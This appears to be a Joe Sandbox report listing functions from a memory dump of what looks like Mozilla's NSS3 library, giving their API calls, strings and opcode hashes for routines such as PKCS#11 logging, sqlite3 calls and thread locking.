Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

pLabel = 0x%p, xrefs: 6C682D4F
ulPinLen = %d, xrefs: 6C682D36
slotID = 0x%x, xrefs: 6C682D02
pPin = 0x%p, xrefs: 6C682D1D
nvl, xrefs: 6C682D6C, 6C682D9A
C_InitToken, xrefs: 6C682CE7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C767E41
%d:0x%lx, xrefs: 6C767EA9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674E5C
bUgl, xrefs: 6C674F3F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

C_DigestInit, xrefs: 6C686C61
pMechanism = 0x%p, xrefs: 6C686CD0
hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
nvl, xrefs: 6C686CF4, 6C686D1F
(CK_INVALID_HANDLE), xrefs: 6C686C9C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

C_SessionCancel, xrefs: 6C689DF1
hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
nvl, xrefs: 6C689E7D, 6C689EA8
(CK_INVALID_HANDLE), xrefs: 6C689E2C
flags = 0x%x, xrefs: 6C689E60

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
